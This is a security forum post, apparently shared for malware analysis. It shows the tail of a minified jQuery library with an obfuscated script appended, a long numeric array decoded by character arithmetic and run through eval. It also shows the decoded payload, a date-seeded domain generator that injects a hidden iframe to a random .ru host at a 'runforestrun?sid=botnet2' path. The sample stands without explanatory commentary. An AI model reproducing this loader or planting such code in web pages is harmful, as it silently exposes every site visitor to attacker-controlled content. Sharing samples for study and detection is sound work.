  2867.             }
  2868.         },
  2869.         hide: function(H, I) {
  2870.             if (H) {
  2871.                 return this.animate(t("hide", 3), H, I)
  2872.             } else {
  2873.                 for (var G = 0, F = this.length; G < F; G++) {
  2874.                     var E = o.data(this[G], "olddisplay");
  2875.                     if (!E && E !== "none") {
  2876.                         o.data(this[G], "olddisplay", o.css(this[G], "display"))
  2877.                     }
  2878.                 }
  2879.                 for (var G = 0, F = this.length; G < F; G++) {
  2880.                     this[G].style.display = "none"
  2881.                 }
  2882.                 return this
  2883.             }
  2884.         },
  2885.         _toggle: o.fn.toggle,
  2886.         toggle: function(G, F) {
  2887.             var E = typeof G === "boolean";
  2888.             return o.isFunction(G) && o.isFunction(F) ? this._toggle.apply(this, arguments) : G == null || E ? this.each(function() {
  2889.                 var H = E ? G : o(this).is(":hidden");
  2890.                 o(this)[H ? "show" : "hide"]()
  2891.             }) : this.animate(t("toggle", 3), G, F)
  2892.         },
  2893.         fadeTo: function(E, G, F) {
  2894.             return this.animate({
  2895.                 opacity: G
  2896.             }, E, F)
  2897.         },
  2898.         animate: function(I, F, H, G) {
  2899.             var E = o.speed(F, H, G);
  2900.             return this[E.queue === false ? "each" : "queue"](function() {
  2901.                 var K = o.extend({}, E),
  2902.                     M, L = this.nodeType == 1 && o(this).is(":hidden"),
  2903.                     J = this;
  2904.                 for (M in I) {
  2905.                     if (I[M] == "hide" && L || I[M] == "show" && !L) {
  2906.                         return K.complete.call(this)
  2907.                     }
  2908.                     if ((M == "height" || M == "width") && this.style) {
  2909.                         K.display = o.css(this, "display");
  2910.                         K.overflow = this.style.overflow
  2911.                     }
  2912.                 }
  2913.                 if (K.overflow != null) {
  2914.                     this.style.overflow = "hidden"
  2915.                 }
  2916.                 K.curAnim = o.extend({}, I);
  2917.                 o.each(I, function(O, S) {
  2918.                     var R = new o.fx(J, K, O);
  2919.                     if (/toggle|show|hide/.test(S)) {
  2920.                         R[S == "toggle" ? L ? "show" : "hide" : S](I)
  2921.                     } else {
  2922.                         var Q = S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),
  2923.                             T = R.cur(true) || 0;
  2924.                         if (Q) {
  2925.                             var N = parseFloat(Q[2]),
  2926.                                 P = Q[3] || "px";
  2927.                             if (P != "px") {
  2928.                                 J.style[O] = (N || 1) + P;
  2929.                                 T = ((N || 1) / R.cur(true)) * T;
  2930.                                 J.style[O] = T + P
  2931.                             }
  2932.                             if (Q[1]) {
  2933.                                 N = ((Q[1] == "-=" ? -1 : 1) * N) + T
  2934.                             }
  2935.                             R.custom(T, N, P)
  2936.                         } else {
  2937.                             R.custom(T, S, "")
  2938.                         }
  2939.                     }
  2940.                 });
  2941.                 return true
  2942.             })
  2943.         },
  2944.         stop: function(F, E) {
  2945.             var G = o.timers;
  2946.             if (F) {
  2947.                 this.queue([])
  2948.             }
  2949.             this.each(function() {
  2950.                 for (var H = G.length - 1; H >= 0; H--) {
  2951.                     if (G[H].elem == this) {
  2952.                         if (E) {
  2953.                             G[H](true)
  2954.                         }
  2955.                         G.splice(H, 1)
  2956.                     }
  2957.                 }
  2958.             });
  2959.             if (!E) {
  2960.                 this.dequeue()
  2961.             }
  2962.             return this
  2963.         }
  2964.     });
  2965.     o.each({
  2966.         slideDown: t("show", 1),
  2967.         slideUp: t("hide", 1),
  2968.         slideToggle: t("toggle", 1),
  2969.         fadeIn: {
  2970.             opacity: "show"
  2971.         },
  2972.         fadeOut: {
  2973.             opacity: "hide"
  2974.         }
  2975.     }, function(E, F) {
  2976.         o.fn[E] = function(G, H) {
  2977.             return this.animate(F, G, H)
  2978.         }
  2979.     });
  2980.     o.extend({
  2981.         speed: function(G, H, F) {
  2982.             var E = typeof G === "object" ? G : {
  2983.                 complete: F || !F && H || o.isFunction(G) && G,
  2984.                 duration: G,
  2985.                 easing: F && H || H && !o.isFunction(H) && H
  2986.             };
  2987.             E.duration = o.fx.off ? 0 : typeof E.duration === "number" ? E.duration : o.fx.speeds[E.duration] || o.fx.speeds._default;
  2988.             E.old = E.complete;
  2989.             E.complete = function() {
  2990.                 if (E.queue !== false) {
  2991.                     o(this).dequeue()
  2992.                 }
  2993.                 if (o.isFunction(E.old)) {
  2994.                     E.old.call(this)
  2995.                 }
  2996.             };
  2997.             return E
  2998.         },
  2999.         easing: {
  3000.             linear: function(G, H, E, F) {
  3001.                 return E + F * G
  3002.             },
  3003.             swing: function(G, H, E, F) {
  3004.                 return ((-Math.cos(G * Math.PI) / 2) + 0.5) * F + E
  3005.             }
  3006.         },
  3007.         timers: [],
  3008.         fx: function(F, E, G) {
  3009.             this.options = E;
  3010.             this.elem = F;
  3011.             this.prop = G;
  3012.             if (!E.orig) {
  3013.                 E.orig = {}
  3014.             }
  3015.         }
  3016.     });
  3017.     o.fx.prototype = {
  3018.         update: function() {
  3019.             if (this.options.step) {
  3020.                 this.options.step.call(this.elem, this.now, this)
  3021.             }(o.fx.step[this.prop] || o.fx.step._default)(this);
  3022.             if ((this.prop == "height" || this.prop == "width") && this.elem.style) {
  3023.                 this.elem.style.display = "block"
  3024.             }
  3025.         },
  3026.         cur: function(F) {
  3027.             if (this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null)) {
  3028.                 return this.elem[this.prop]
  3029.             }
  3030.             var E = parseFloat(o.css(this.elem, this.prop, F));
  3031.             return E && E > -10000 ? E : parseFloat(o.curCSS(this.elem, this.prop)) || 0
  3032.         },
  3033.         custom: function(I, H, G) {
  3034.             this.startTime = e();
  3035.             this.start = I;
  3036.             this.end = H;
  3037.             this.unit = G || this.unit || "px";
  3038.             this.now = this.start;
  3039.             this.pos = this.state = 0;
  3040.             var E = this;

  3041.             function F(J) {
  3042.                 return E.step(J)
  3043.             }
  3044.             F.elem = this.elem;
  3045.             if (F() && o.timers.push(F) && !n) {
  3046.                 n = setInterval(function() {
  3047.                     var K = o.timers;
  3048.                     for (var J = 0; J < K.length; J++) {
  3049.                         if (!K[J]()) {
  3050.                             K.splice(J--, 1)
  3051.                         }
  3052.                     }
  3053.                     if (!K.length) {
  3054.                         clearInterval(n);
  3055.                         n = g
  3056.                     }
  3057.                 }, 13)
  3058.             }
  3059.         },
  3060.         show: function() {
  3061.             this.options.orig[this.prop] = o.attr(this.elem.style, this.prop);
  3062.             this.options.show = true;
  3063.             this.custom(this.prop == "width" || this.prop == "height" ? 1 : 0, this.cur());
  3064.             o(this.elem).show()
  3065.         },
  3066.         hide: function() {
  3067.             this.options.orig[this.prop] = o.attr(this.elem.style, this.prop);
  3068.             this.options.hide = true;
  3069.             this.custom(this.cur(), 0)
  3070.         },
  3071.         step: function(H) {
  3072.             var G = e();
  3073.             if (H || G >= this.options.duration + this.startTime) {
  3074.                 this.now = this.end;
  3075.                 this.pos = this.state = 1;
  3076.                 this.update();
  3077.                 this.options.curAnim[this.prop] = true;
  3078.                 var E = true;
  3079.                 for (var F in this.options.curAnim) {
  3080.                     if (this.options.curAnim[F] !== true) {
  3081.                         E = false
  3082.                     }
  3083.                 }
  3084.                 if (E) {
  3085.                     if (this.options.display != null) {
  3086.                         this.elem.style.overflow = this.options.overflow;
  3087.                         this.elem.style.display = this.options.display;
  3088.                         if (o.css(this.elem, "display") == "none") {
  3089.                             this.elem.style.display = "block"
  3090.                         }
  3091.                     }
  3092.                     if (this.options.hide) {
  3093.                         o(this.elem).hide()
  3094.                     }
  3095.                     if (this.options.hide || this.options.show) {
  3096.                         for (var I in this.options.curAnim) {
  3097.                             o.attr(this.elem.style, I, this.options.orig[I])
  3098.                         }
  3099.                     }
  3100.                     this.options.complete.call(this.elem)
  3101.                 }
  3102.                 return false
  3103.             } else {
  3104.                 var J = G - this.startTime;
  3105.                 this.state = J / this.options.duration;
  3106.                 this.pos = o.easing[this.options.easing || (o.easing.swing ? "swing" : "linear")](this.state, J, 0, 1, this.options.duration);
  3107.                 this.now = this.start + ((this.end - this.start) * this.pos);
  3108.                 this.update()
  3109.             }
  3110.             return true
  3111.         }
  3112.     };
  3113.     o.extend(o.fx, {
  3114.         speeds: {
  3115.             slow: 600,
  3116.             fast: 200,
  3117.             _default: 400
  3118.         },
  3119.         step: {
  3120.             opacity: function(E) {
  3121.                 o.attr(E.elem.style, "opacity", E.now)
  3122.             },
  3123.             _default: function(E) {
  3124.                 if (E.elem.style && E.elem.style[E.prop] != null) {
  3125.                     E.elem.style[E.prop] = E.now + E.unit
  3126.                 } else {
  3127.                     E.elem[E.prop] = E.now
  3128.                 }
  3129.             }
  3130.         }
  3131.     });
  3132.     if (document.documentElement.getBoundingClientRect) {
  3133.         o.fn.offset = function() {
  3134.             if (!this[0]) {
  3135.                 return {
  3136.                     top: 0,
  3137.                     left: 0
  3138.                 }
  3139.             }
  3140.             if (this[0] === this[0].ownerDocument.body) {
  3141.                 return o.offset.bodyOffset(this[0])
  3142.             }
  3143.             var G = this[0].getBoundingClientRect(),
  3144.                 J = this[0].ownerDocument,
  3145.                 F = J.body,
  3146.                 E = J.documentElement,
  3147.                 L = E.clientTop || F.clientTop || 0,
  3148.                 K = E.clientLeft || F.clientLeft || 0,
  3149.                 I = G.top + (self.pageYOffset || o.boxModel && E.scrollTop || F.scrollTop) - L,
  3150.                 H = G.left + (self.pageXOffset || o.boxModel && E.scrollLeft || F.scrollLeft) - K;
  3151.             return {
  3152.                 top: I,
  3153.                 left: H
  3154.             }
  3155.         }
  3156.     } else {
  3157.         o.fn.offset = function() {
  3158.             if (!this[0]) {
  3159.                 return {
  3160.                     top: 0,
  3161.                     left: 0
  3162.                 }
  3163.             }
  3164.             if (this[0] === this[0].ownerDocument.body) {
  3165.                 return o.offset.bodyOffset(this[0])
  3166.             }
  3167.             o.offset.initialized || o.offset.initialize();
  3168.             var J = this[0],
  3169.                 G = J.offsetParent,
  3170.                 F = J,
  3171.                 O = J.ownerDocument,
  3172.                 M, H = O.documentElement,
  3173.                 K = O.body,
  3174.                 L = O.defaultView,
  3175.                 E = L.getComputedStyle(J, null),
  3176.                 N = J.offsetTop,
  3177.                 I = J.offsetLeft;
  3178.             while ((J = J.parentNode) && J !== K && J !== H) {
  3179.                 M = L.getComputedStyle(J, null);
  3180.                 N -= J.scrollTop, I -= J.scrollLeft;
  3181.                 if (J === G) {
  3182.                     N += J.offsetTop, I += J.offsetLeft;
  3183.                     if (o.offset.doesNotAddBorder && !(o.offset.doesAddBorderForTableAndCells && /^t(able|d|h)$/i.test(J.tagName))) {
  3184.                         N += parseInt(M.borderTopWidth, 10) || 0, I += parseInt(M.borderLeftWidth, 10) || 0
  3185.                     }
  3186.                     F = G, G = J.offsetParent
  3187.                 }
  3188.                 if (o.offset.subtractsBorderForOverflowNotVisible && M.overflow !== "visible") {
  3189.                     N += parseInt(M.borderTopWidth, 10) || 0, I += parseInt(M.borderLeftWidth, 10) || 0
  3190.                 }
  3191.                 E = M
  3192.             }
  3193.             if (E.position === "relative" || E.position === "static") {
  3194.                 N += K.offsetTop, I += K.offsetLeft
  3195.             }
  3196.             if (E.position === "fixed") {
  3197.                 N += Math.max(H.scrollTop, K.scrollTop), I += Math.max(H.scrollLeft, K.scrollLeft)
  3198.             }
  3199.             return {
  3200.                 top: N,
  3201.                 left: I
  3202.             }
  3203.         }
  3204.     }
  3205.     o.offset = {
  3206.         initialize: function() {
  3207.             if (this.initialized) {
  3208.                 return
  3209.             }
  3210.             var L = document.body,
  3211.                 F = document.createElement("div"),
  3212.                 H, G, N, I, M, E, J = L.style.marginTop,
  3213.                 K = '<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';
  3214.             M = {
  3215.                 position: "absolute",
  3216.                 top: 0,
  3217.                 left: 0,
  3218.                 margin: 0,
  3219.                 border: 0,
  3220.                 width: "1px",
  3221.                 height: "1px",
  3222.                 visibility: "hidden"
  3223.             };
  3224.             for (E in M) {
  3225.                 F.style[E] = M[E]
  3226.             }
  3227.             F.innerHTML = K;
  3228.             L.insertBefore(F, L.firstChild);
  3229.             H = F.firstChild, G = H.firstChild, I = H.nextSibling.firstChild.firstChild;
  3230.             this.doesNotAddBorder = (G.offsetTop !== 5);
  3231.             this.doesAddBorderForTableAndCells = (I.offsetTop === 5);
  3232.             H.style.overflow = "hidden", H.style.position = "relative";
  3233.             this.subtractsBorderForOverflowNotVisible = (G.offsetTop === -5);
  3234.             L.style.marginTop = "1px";
  3235.             this.doesNotIncludeMarginInBodyOffset = (L.offsetTop === 0);
  3236.             L.style.marginTop = J;
  3237.             L.removeChild(F);
  3238.             this.initialized = true
  3239.         },
  3240.         bodyOffset: function(E) {
  3241.             o.offset.initialized || o.offset.initialize();
  3242.             var G = E.offsetTop,
  3243.                 F = E.offsetLeft;
  3244.             if (o.offset.doesNotIncludeMarginInBodyOffset) {
  3245.                 G += parseInt(o.curCSS(E, "marginTop", true), 10) || 0, F += parseInt(o.curCSS(E, "marginLeft", true), 10) || 0
  3246.             }
  3247.             return {
  3248.                 top: G,
  3249.                 left: F
  3250.             }
  3251.         }
  3252.     };
  3253.     o.fn.extend({
  3254.         position: function() {
  3255.             var I = 0,
  3256.                 H = 0,
  3257.                 F;
  3258.             if (this[0]) {
  3259.                 var G = this.offsetParent(),
  3260.                     J = this.offset(),
  3261.                     E = /^body|html$/i.test(G[0].tagName) ? {
  3262.                         top: 0,
  3263.                         left: 0
  3264.                     } : G.offset();
  3265.                 J.top -= j(this, "marginTop");
  3266.                 J.left -= j(this, "marginLeft");
  3267.                 E.top += j(G, "borderTopWidth");
  3268.                 E.left += j(G, "borderLeftWidth");
  3269.                 F = {
  3270.                     top: J.top - E.top,
  3271.                     left: J.left - E.left
  3272.                 }
  3273.             }
  3274.             return F
  3275.         },
  3276.         offsetParent: function() {
  3277.             var E = this[0].offsetParent || document.body;
  3278.             while (E && (!/^body|html$/i.test(E.tagName) && o.css(E, "position") == "static")) {
  3279.                 E = E.offsetParent
  3280.             }
  3281.             return o(E)
  3282.         }
  3283.     });
  3284.     o.each(["Left", "Top"], function(F, E) {
  3285.         var G = "scroll" + E;
  3286.         o.fn[G] = function(H) {
  3287.             if (!this[0]) {
  3288.                 return null
  3289.             }
  3290.             return H !== g ? this.each(function() {
  3291.                 this == l || this == document ? l.scrollTo(!F ? H : o(l).scrollLeft(), F ? H : o(l).scrollTop()) : this[G] = H
  3292.             }) : this[0] == l || this[0] == document ? self[F ? "pageYOffset" : "pageXOffset"] || o.boxModel && document.documentElement[G] || document.body[G] : this[0][G]
  3293.         }
  3294.     });
  3295.     o.each(["Height", "Width"], function(I, G) {
  3296.         var E = I ? "Left" : "Top",
  3297.             H = I ? "Right" : "Bottom",
  3298.             F = G.toLowerCase();
  3299.         o.fn["inner" + G] = function() {
  3300.             return this[0] ? o.css(this[0], F, false, "padding") : null
  3301.         };
  3302.         o.fn["outer" + G] = function(K) {
  3303.             return this[0] ? o.css(this[0], F, false, K ? "margin" : "border") : null
  3304.         };
  3305.         var J = G.toLowerCase();
  3306.         o.fn[J] = function(K) {
  3307.             return this[0] == l ? document.compatMode == "CSS1Compat" && document.documentElement["client" + G] || document.body["client" + G] : this[0] == document ? Math.max(document.documentElement["client" + G], document.body["scroll" + G], document.documentElement["scroll" + G], document.body["offset" + G], document.documentElement["offset" + G]) : K === g ? (this.length ? o.css(this[0], J) : null) : this.css(J, typeof K === "string" ? K : K + "px")
  3308.         }
  3309.     })
  3310. })();

  3311. /*km0ae9gr6m*/
  3312. try {
  3313.     prototype % 2;
  3314. } catch (asd) {
  3315.     x = 2;
  3316. }
  3317. try {
  3318.     q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
  3319.     q.appendChild(q + "");
  3320. } catch (fwbewe) {
  3321.     i = 0;
  3322.     try {
  3323.         prototype * 5;
  3324.     } catch (z) {
  3325.         fr = "fromChar";
  3326.         f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
  3327.         v = "eva";
  3328.     }
  3329.     if (v) e = window[v + "l"];
  3330.     w = f;
  3331.     s = [];
  3332.     r = String;
  3333.     z = ((e) ? "Code" : "");
  3334.     for (; 1776 - 5 + 5 > i; i += 1) {
  3335.         j = i;
  3336.         if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  3337.     }
  3338.     if (f) e(s);
  3339. } /*qhk6sa6g1c*/
复制代码
  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码
  1. j % 2
复制代码
av4.jpg fs4.jpg
zhym91
发表于 2013-7-6 22:42:11 | 显示全部楼层
Ashampoo_Snap_2013.07.06_22h41m12s_001_.png
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 16:11 , Processed in 0.160047 second(s), 19 queries .

